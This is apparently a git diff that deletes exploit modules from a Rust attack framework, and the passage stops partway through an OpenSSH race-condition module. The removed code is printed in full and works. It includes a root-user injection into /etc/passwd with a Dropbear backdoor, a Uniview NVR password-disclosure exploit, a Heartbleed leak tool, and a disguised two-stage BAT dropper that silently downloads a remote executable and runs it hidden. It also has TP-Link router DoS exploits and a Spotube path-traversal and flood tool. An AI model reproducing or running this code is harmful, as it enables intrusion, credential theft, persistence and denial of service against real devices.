let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("[*] Injecting user '{}' with root privileges...", user);
exploit_rce(client, target, &payload).await
}
/// // Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
/// // Generate simple MD5(password) as hash for dropbear user
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// // Interactive shell logic
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Dropbear SSH persistence for target: {}", target);
print!("Enter username to inject: ");
io::stdout().flush()?;
let mut user = String::new();
io::stdin().read_line(&mut user)?;
let user = user.trim();
print!("Enter password (will be hashed): ");
io::stdout().flush()?;
let mut pass = String::new();
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
let hash = generate_md5_hash(pass);
println!("[*] Generated hash: {}", hash);
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!("\n[+] Done. Try connecting with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
/// // Dispatcher entrypoint
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
-9
View File
@@ -1,9 +0,0 @@
pub mod uniview_nvr_pwd_disclosure;
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
// pub mod
@@ -1,147 +0,0 @@
use anyhow::{anyhow, Context, Result};
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77", "1"), ("78", "2"), ("79", "3"), ("72", "4"), ("73", "5"), ("74", "6"),
("75", "7"), ("68", "8"), ("69", "9"), ("76", "0"), ("93", "!"), ("60", "@"),
("95", "#"), ("88", "$"), ("89", "%"), ("34", "^"), ("90", "&"), ("86", "*"),
("84", "("), ("85", ")"), ("81", "-"), ("35", "_"), ("65", "="), ("87", "+"),
("83", "/"), ("32", "\\"), ("0", "|"), ("80", ","), ("70", ":"), ("71", ";"),
("7", "{"), ("1", "}"), ("82", "."), ("67", "?"), ("64", "<"), ("66", ">"),
("2", "~"), ("39", "["), ("33", "]"), ("94", "\""), ("91", "'"), ("28", "`"),
("61", "A"), ("62", "B"), ("63", "C"), ("56", "D"), ("57", "E"), ("58", "F"),
("59", "G"), ("52", "H"), ("53", "I"), ("54", "J"), ("55", "K"), ("48", "L"),
("49", "M"), ("50", "N"), ("51", "O"), ("44", "P"), ("45", "Q"), ("46", "R"),
("47", "S"), ("40", "T"), ("41", "U"), ("42", "V"), ("43", "W"), ("36", "X"),
("37", "Y"), ("38", "Z"), ("29", "a"), ("30", "b"), ("31", "c"), ("24", "d"),
("25", "e"), ("26", "f"), ("27", "g"), ("20", "h"), ("21", "i"), ("22", "j"),
("23", "k"), ("16", "l"), ("17", "m"), ("18", "n"), ("19", "o"), ("12", "p"),
("13", "q"), ("14", "r"), ("15", "s"), ("8", "t"), ("9", "u"), ("10", "v"),
("11", "w"), ("4", "x"), ("5", "y"), ("6", "z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Ensure the target has a proper scheme
let target = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("http://{}", target)
};
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_resp = client.get(&version_url).send().await?;
let version_text = version_resp.text().await?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open success.txt log file")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
println!("\n[+] Getting configuration file...");
let config_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", target);
let config_resp = client.get(&config_url).send().await?;
let config_text = config_resp.text().await?;
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut total_users = 0;
println!("\n[+] Extracting users' hashes and decoding reversible strings:\n");
println!("User\t\t|\tHash\t\t\t\t\t|\tPassword");
println!("_____________________________________________________________________________");
writeln!(log, "\nUser\t\t|\tHash\t\t\t\t\t|\tPassword").ok();
writeln!(log, "_____________________________________________________________________________").ok();
loop {
match reader.read_event() {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut userpass = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => {
username = std::str::from_utf8(&attr.value)?.to_string();
}
k if k == QName(b"UserPass") => {
userpass = std::str::from_utf8(&attr.value)?.to_string();
}
k if k == QName(b"RvsblePass") => {
revpass = std::str::from_utf8(&attr.value)?.to_string();
}
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{:<12}|\t{:<34}|\t{}", username, userpass, decoded);
writeln!(log, "{:<12}|\t{:<34}|\t{}", username, userpass, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
}
println!("\n[+] Number of users found: {}", total_users);
writeln!(log, "\n[+] Number of users found: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.\n");
writeln!(log, "*Note: 'default' and 'HAUser' users may not be accessible remotely.\n").ok();
Ok(())
}
-159
View File
@@ -1,159 +0,0 @@
use anyhow::{Context, Result};
use std::fs::File;
use std::io::Write;
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
println!("[*] Connecting to {}:{}...", target, port);
let addr = format!("{}:{}", target, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", target.replace(":", "_"));
let path = Path::new(&filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
-1
View File
@@ -1 +0,0 @@
pub mod heartbleed;
-8
View File
@@ -1,8 +0,0 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod camera;
pub mod router;
pub mod ssh;
pub mod spotube;
-1
View File
@@ -1 +0,0 @@
pub mod payloadgenbat;
@@ -1,133 +0,0 @@
//! Build a twostage prank/diagnostic BAT script with stealth download & run.
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
use anyhow::{Context, Result};
use std::fs;
use std::io::{self, Write};
/// Read a trimmed line from stdin
fn prompt(msg: &str) -> Result<String> {
print!("{msg}");
io::stdout().flush().ok();
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_owned())
}
/// Build the BAT contents (injecting URL & PS1 filename)
fn build_script(url: &str, ps1_name: &str) -> String {
// Template with placeholders {{URL}} and {{OUTFILE}}
let tpl = r#"@echo off
setlocal enabledelayedexpansion
title []
color 0A
echo =====================================================
echo
echo =====================================================
echo [+] ...
timeout /t 2 >nul
:: Fake diagnostic functions
echo [INFO] ...
netsh winsock show catalog >nul
echo [INFO] ...
fsutil behavior query DisableDeleteNotify >nul
echo [INFO] DCOM設定の確認...
dcomcnfg /32 >nul
timeout /t 1 >nul
echo [INFO] ...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
timeout /t 1 >nul
echo [INFO] ...
netstat -bno >nul
route print >nul
timeout /t 1 >nul
echo [INFO] ...
sc queryex type= service >nul
timeout /t 1 >nul
echo [INFO] WMI ...
wmic logicaldisk get caption,filesystem,freespace,size >nul
timeout /t 1 >nul
:: 50x random sub-sleeps
echo [*] ... (50 )
for /l %%i in (1,1,50) do (
set /a delay=(%%RANDOM%% %% 60) + 120
powershell -Command "Start-Sleep -Milliseconds !delay!"
)
:: Random delay before launching stage 2
set /a mainDelay=(%%RANDOM%% %% 4) + 3
echo [INFO] ... (%%mainDelay%% )
timeout /t %%mainDelay%% >nul
:: Build second stage BAT (stage2.bat)
set "stage2=%%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo title
echo echo [*] ...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo timeout /t 2 ^>nul
echo echo [*] ...
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
echo timeout /t !delay2! ^>nul
echo echo [*] GitHub ...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command ^
"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
echo timeout /t 2 ^>nul
echo echo [*] VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell"^)
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo timeout /t 1 ^>nul
echo echo [*] ...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo echo [*]
) > "%%stage2%%"
:: Random delay before running stage 2
set /a rdelay=(%%RANDOM%% %% 5) + 2
echo [INFO] stage2.bat %%rdelay%% ...
timeout /t %%rdelay%% >nul
:: Run stage2
call "%%stage2%%"
echo [] "{{OUTFILE}}"
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
/// Public entry point for the exploit dispatcher
pub async fn run(_target: &str) -> Result<()> {
// === Gather inputs ====================================================
let out_bat = prompt("[+] Output BAT filename : ")?;
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
// === Generate script ===================================================
let script = build_script(&raw_url, &ps1_name);
fs::write(&out_bat, script)
.with_context(|| format!("Could not write {}", out_bat))?;
println!("\n[+] Batch script saved to: {out_bat}");
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod tp_link_vn020_dos;
pub mod tplink_wr740n_dos;
@@ -1,117 +0,0 @@
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust
use anyhow::{Context, Result};
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;
/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"#;
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 1 (Missing Parameters)")?;
println!("[+] PoC 1 sent. Status: {}", res.status());
Ok(())
}
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Generate a long payload simulating memory corruption
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewConnectionType>{}</NewConnectionType>
</u:SetConnectionType>
</s:Body>
</s:Envelope>"#,
long_payload
);
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 2 (Memory Corruption)")?;
println!("[+] PoC 2 sent. Status: {}", res.status());
Ok(())
}
/// Entry point for the exploit module
pub async fn run(target: &str) -> Result<()> {
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Spawn a thread to monitor user input
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
if let Ok(input) = line {
if input.trim().eq_ignore_ascii_case("stop") {
stop_flag_clone.store(true, Ordering::Relaxed);
println!("[*] Stopping attack...");
break;
}
}
}
});
// Infinite concurrent execution loop
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, target),
dos_memory_corruption(&client, target)
);
if let Err(e) = r1 {
eprintln!("[!] Error during PoC 1: {e}");
}
if let Err(e) = r2 {
eprintln!("[!] Error during PoC 2: {e}");
}
}
println!("[+] Exploit session ended.");
Ok(())
}
@@ -1,100 +0,0 @@
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
// Date: 8/12/2023
// Exploit Author: Anish Feroz (ZEROXINN)
// Vendor Homepage: http://www.tp-link.com
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
// Tested on: TP-Link TL-WR740N
// Description:
// There exist a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
// a user must physically reboot the router.
use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use reqwest::{Client, header::HeaderMap};
use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Internal function to send crafted request to crash router
async fn exploit(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
let crash_pattern = "crash_crash_on_a_loop_";
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
let payload = &repeated[..192]; // truncate to exact length
// Construct vulnerable URL
let target_url = format!(
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
ip = ip,
port = port,
payload = payload
);
// Build basic auth header
let credentials = format!("{username}:{password}");
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
// Prepare HTTP headers
let mut headers = HeaderMap::new();
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
headers.insert("Connection", "close".parse()?);
let client = Client::builder()
.default_headers(headers)
.build()?;
let response = client.get(&target_url).send().await?;
if response.status().as_u16() == 200 {
println!("[+] Server Crashed (200 OK received)");
let body = response.text().await.unwrap_or_default();
println!("{}", body);
} else {
println!(
"[-] Script Completed with status code: {}",
response.status()
);
}
// Check if the host is still up — timeout after 1 second
match timeout(Duration::from_secs(1), TcpStream::connect((ip, port))).await {
Ok(Ok(_)) => {
println!("[!] Target still responds on port {}. DoS likely failed.", port);
}
_ => {
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
}
}
Ok(())
}
/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
println!("Enter router port (default is 8082): ");
let mut port_str = String::new();
io::stdin().read_line(&mut port_str)?;
let port: u16 = port_str.trim().parse().unwrap_or(8082);
println!("Enter username: ");
let mut username = String::new();
io::stdin().read_line(&mut username)?;
let username = username.trim();
println!("Enter password: ");
let mut password = String::new();
io::stdin().read_line(&mut password)?;
let password = password.trim();
exploit(target, port, username, password).await
}
-23
View File
@@ -1,23 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_exploit against target: {}", target);
let url = format!("http://{}/vulnerable_endpoint", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?
.text()
.await
.context("Failed to read response")?;
if resp.contains("Vulnerable!") {
println!("[+] Target is vulnerable!");
} else {
println!("[-] Target does not appear to be vulnerable.");
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod spotube;
-231
View File
@@ -1,231 +0,0 @@
//// src/modules/exploits/spotube/spotube_remote.rs
//// src/modules/exploits/spotube/spotube.rs
//// made by me suicidal teddy my first ever zero day exploit
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use std::io::{self, Write};
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;
// //// // Custom headers to emulate BurpSuite-style browser requests
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
let mut headers = HashMap::new();
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
headers.insert(
"User-Agent".into(),
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
.into(),
);
headers.insert(
"Accept".into(),
"text/html,application/xhtml+xml,application/xml;q=0.9,\
image/avif,image/webp,image/apng,*/*;q=0.8,\
application/signed-exchange;v=b3;q=0.7"
.into(),
);
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
headers.insert("Connection".into(), "keep-alive".into());
headers.insert("Host".into(), format!("{}:{}", host, port));
headers
}
// //// // Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}{}", host, port, path);
let headers = browser_headers(host, port);
let mut request = client.get(&url);
for (key, value) in headers {
request = request.header(&key, &value);
}
let response = request.send().await.context("Request failed")?;
let status = response.status();
let body = response.text().await.unwrap_or_default();
println!(
"{} → {} {}",
path,
status.as_u16(),
status.canonical_reason().unwrap_or("Unknown")
);
println!("{}", body.trim());
Ok(())
}
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("Enter malicious filename (e.g. ../evil.sh): ");
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
let malicious_name = {
let t = name.trim();
if t.is_empty() { "../evil.sh" } else { t }
};
// prompt for fake track ID
print!("Enter fake track ID (e.g. INJECT1): ");
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
let track_id = {
let t = tid.trim();
if t.is_empty() { "INJECT1" } else { t }
};
// prompt for codec extension
print!("Enter codec extension (e.g. mp3): ");
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
let codec = {
let t = cd.trim();
if t.is_empty() { "mp3" } else { t }
};
let payload = json!({
"type": "load",
"data": {
"tracks": [
{
"name": malicious_name,
"artists": { "asString": "" },
"sourceInfo": { "id": track_id },
"codec": { "name": codec }
}
]
}
});
let ws_url = format!("ws://{}:{}/ws", host, port);
println!("Connecting to {}", ws_url);
let (ws_stream, _) = connect_async(&ws_url)
.await
.context("WebSocket connection failed")?;
let (mut write, _) = ws_stream.split();
let msg_text = payload.to_string();
write
.send(Message::Text(msg_text.clone().into()))
.await
.context("Failed to send WebSocket message")?;
println!("▶️ Malicious load payload sent:");
println!("{}", serde_json::to_string_pretty(&payload)?);
Ok(())
}
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
for _ in 0..count {
let _ = execute(host, port, path).await;
if delay > 0.0 {
sleep(Duration::from_secs_f64(delay)).await;
}
}
println!("🔥 Done flood.");
Ok(())
}
// //// // CLI menu that mimics the original Python script, now with WS and DoS
pub async fn run(target: &str) -> Result<()> {
println!("⚙️ Spotube Advanced Exploit CLI\n");
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("Enter port [17086]: ");
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
let port = {
let t = p.trim();
if t.is_empty() { "17086".to_string() } else { t.to_string() }
};
loop {
println!("\n=== Menu ===");
println!("1. Ping server");
println!("2. Next track");
println!("3. Previous track");
println!("4. Toggle play/pause");
println!("5. Inject path-traversal via WS");
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
print!("Choose an option: ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
println!("\n▶️ Ping server …");
let _ = execute(&host, &port, "/ping").await;
}
"2" => {
println!("\n▶️ Next track …");
let _ = execute(&host, &port, "/playback/next").await;
}
"3" => {
println!("\n▶️ Previous track …");
let _ = execute(&host, &port, "/playback/previous").await;
}
"4" => {
println!("\n▶️ Toggle play/pause …");
let _ = execute(&host, &port, "/playback/toggle-playback").await;
}
"5" => {
ws_inject_path_traversal(&host, &port).await?;
}
"6" => {
// //// // flood prompts
print!("Endpoint to flood (e.g. /playback/next): ");
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
print!("Number of requests [100]: ");
io::stdout().flush()?;
let mut cnt = String::new();
io::stdin().read_line(&mut cnt)?;
let count = cnt.trim().parse().unwrap_or(100);
print!("Delay between requests (s) [0]: ");
io::stdout().flush()?;
let mut dly = String::new();
io::stdin().read_line(&mut dly)?;
let delay = dly.trim().parse().unwrap_or(0.0);
dos_flood(&host, &port, path, count, delay).await?;
}
"7" => {
println!("👋 Goodbye!");
break;
}
_ => println!("❌ Invalid choice, try again."),
}
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod opensshserver_9_8p1race_condition;
@@ -1,304 +0,0 @@
use anyhow::{bail, Result};
use std::{
io::{self, BufRead, Read, Write},
net::TcpStream,
os::unix::io::AsRawFd,
process::Command,
sync::Arc,
time::{Duration, Instant},
};
use libc::{fcntl, F_GETFL, F_SETFL, O_NONBLOCK};
use tokio::{sync::Semaphore, task};
// // Shellcode to inject
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
// // GLIBC base addresses to brute force
const GLIBC_BASES: [u64; 2] = [0xb7200000, 0xb7400000];
// // SSH Login grace time window in seconds
const LOGIN_GRACE_TIME: f64 = 120.0;
// // Max size of a crafted packet
const MAX_PACKET_SIZE: usize = 256 * 1024;
// // Max parallel attempts at once
const MAX_PARALLEL_ATTEMPTS: usize = 200;
// // Align memory chunks
fn chunk_align(s: usize) -> usize {
(s + 15) & !15
}
// // Set socket to non-blocking
fn set_nonblocking(sock: i32) {
unsafe {
let flags = fcntl(sock, F_GETFL);
fcntl(sock, F_SETFL, flags | O_NONBLOCK);
}
}
// // Create TCP connection to target
fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = format!("{}:{}", ip, port);
let stream = TcpStream::connect(addr)?;
set_nonblocking(stream.as_raw_fd());
Ok(stream)
}
// // Send custom SSH packet
fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet = vec![0u8; len];
packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet[4] = packet_type;
packet[5..].copy_from_slice(data);
stream.write_all(&packet)?;
Ok(())
}
// // Receive response with retry
fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf) {
Ok(n) if n > 0 => return Ok(n),
Ok(_) => bail!("Connection closed"),
Err(ref e) if e.kind() == io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(10));
continue;
}
